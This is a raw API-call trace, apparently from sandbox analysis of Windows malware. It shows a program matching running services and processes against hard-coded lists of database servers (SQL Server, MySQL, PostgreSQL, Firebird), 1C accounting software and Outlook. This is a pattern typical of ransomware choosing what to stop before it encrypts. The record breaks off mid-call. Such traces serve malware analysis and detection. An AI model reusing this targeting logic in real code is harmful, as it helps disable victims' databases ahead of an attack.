1 [0067.302] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0067.302] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0067.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0067.302] lstrlenW (lpString="CscService") returned 10 [0067.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0067.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0067.302] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0067.302] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0067.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0067.302] lstrlenW (lpString="DcomLaunch") returned 10 [0067.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0067.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0067.302] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0067.303] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0067.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0067.303] lstrlenW (lpString="Dhcp") returned 4 [0067.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0067.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0067.303] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0067.303] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0067.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0067.303] lstrlenW (lpString="Dnscache") returned 8 [0067.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0067.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0067.303] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0067.303] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0067.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0067.303] lstrlenW (lpString="DPS") returned 3 [0067.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0067.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0067.303] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0067.303] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0067.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0067.303] lstrlenW (lpString="eventlog") returned 8 [0067.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0067.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0067.304] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0067.304] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0067.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0067.304] lstrlenW (lpString="EventSystem") returned 11 [0067.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0067.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0067.304] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0067.304] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0067.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0067.304] lstrlenW (lpString="gpsvc") returned 5 [0067.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0067.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0067.304] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0067.304] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0067.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0067.304] lstrlenW (lpString="iphlpsvc") returned 8 [0067.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0067.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0067.304] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0067.304] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0067.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0067.304] lstrlenW (lpString="LanmanServer") returned 12 [0067.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0067.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0067.305] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0067.305] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0067.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0067.305] lstrlenW (lpString="LanmanWorkstation") returned 17 [0067.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0067.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0067.305] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0067.305] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0067.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0067.305] lstrlenW (lpString="lmhosts") returned 7 [0067.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0067.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0067.305] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0067.305] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0067.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0067.305] lstrlenW (lpString="MMCSS") returned 5 [0067.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0067.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0067.305] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0067.306] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0067.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0067.306] lstrlenW (lpString="MpsSvc") returned 6 [0067.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0067.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0067.306] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0067.306] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0067.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0067.306] lstrlenW (lpString="Netman") returned 6 [0067.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0067.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0067.306] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0067.306] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0067.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0067.306] lstrlenW (lpString="netprofm") returned 8 [0067.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0067.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0067.307] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0067.307] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0067.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0067.307] lstrlenW (lpString="NlaSvc") returned 6 [0067.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0067.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0067.307] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0067.307] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0067.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0067.307] lstrlenW (lpString="nsi") returned 3 [0067.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0067.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0067.307] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0067.307] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0067.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0067.307] lstrlenW (lpString="PcaSvc") returned 6 [0067.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0067.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0067.307] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0067.307] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0067.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0067.307] lstrlenW (lpString="PlugPlay") returned 8 [0067.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0067.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0067.308] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0067.308] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0067.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0067.308] lstrlenW (lpString="Power") returned 5 [0067.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0067.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0067.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0067.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0067.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0067.308] lstrlenW (lpString="ProfSvc") returned 7 [0067.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0067.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0067.308] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0067.308] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0067.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0067.308] lstrlenW (lpString="RpcEptMapper") returned 12 [0067.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.308] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0067.308] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0067.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0067.308] lstrlenW (lpString="RpcSs") returned 5 [0067.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0067.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0067.309] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0067.309] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0067.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0067.309] lstrlenW (lpString="SamSs") returned 5 [0067.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0067.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0067.309] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0067.309] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0067.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0067.309] lstrlenW (lpString="Schedule") returned 8 [0067.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0067.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0067.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0067.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0067.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0067.309] lstrlenW (lpString="SENS") returned 4 [0067.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0067.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0067.309] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0067.309] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0067.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0067.309] lstrlenW (lpString="ShellHWDetection") returned 16 [0067.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.310] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0067.310] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0067.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0067.310] lstrlenW (lpString="Spooler") returned 7 [0067.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0067.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0067.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0067.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0067.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0067.310] lstrlenW (lpString="SysMain") returned 7 [0067.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0067.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0067.310] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0067.310] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0067.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0067.310] lstrlenW (lpString="Themes") returned 6 [0067.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0067.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0067.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0067.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0067.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0067.310] lstrlenW (lpString="TrkWks") returned 6 [0067.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0067.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0067.311] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0067.311] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0067.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0067.311] lstrlenW (lpString="UxSms") returned 5 [0067.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0067.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0067.311] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0067.311] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0067.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0067.311] lstrlenW (lpString="WdiServiceHost") returned 14 [0067.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0067.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0067.311] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0067.311] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0067.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0067.311] lstrlenW (lpString="WdiSystemHost") returned 13 [0067.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0067.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0067.311] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0067.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0067.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0067.312] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0067.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0067.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0067.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0067.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0067.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0067.312] lstrlenW (lpString="Winmgmt") returned 7 [0067.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0067.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0067.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0067.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0067.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0067.312] lstrlenW (lpString="WPDBusEnum") returned 10 [0067.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0067.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0067.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0067.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0067.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0067.312] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e91e8 | out: hHeap=0x5b0000) returned 1 [0067.313] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0067.328] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.329] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.330] lstrlenW (lpString="System") returned 6 [0067.330] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0067.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0067.330] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0067.330] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0067.330] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0067.330] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0067.330] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0067.330] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.331] lstrlenW (lpString="smss.exe") returned 8 [0067.331] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0067.331] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0067.331] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0067.331] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0067.331] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0067.331] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0067.331] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0067.331] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.332] lstrlenW (lpString="csrss.exe") returned 9 [0067.332] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0067.332] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0067.332] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0067.332] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0067.332] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0067.332] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0067.332] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0067.332] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.333] lstrlenW (lpString="wininit.exe") returned 11 [0067.333] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0067.333] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0067.333] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0067.333] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0067.333] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0067.333] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0067.333] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0067.333] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.334] lstrlenW (lpString="csrss.exe") returned 9 [0067.334] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0067.334] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0067.334] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0067.334] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0067.334] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0067.334] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0067.335] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.335] lstrlenW (lpString="winlogon.exe") returned 12 [0067.335] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.336] lstrlenW (lpString="services.exe") returned 12 [0067.336] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.337] lstrlenW (lpString="lsass.exe") returned 9 [0067.337] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0067.338] lstrlenW (lpString="lsm.exe") returned 7 [0067.338] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.339] lstrlenW (lpString="svchost.exe") returned 11 [0067.339] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.340] lstrlenW (lpString="svchost.exe") returned 11 [0067.340] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.341] lstrlenW (lpString="svchost.exe") returned 11 [0067.341] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.342] lstrlenW (lpString="svchost.exe") returned 11 [0067.342] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.343] lstrlenW (lpString="svchost.exe") returned 11 [0067.343] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: 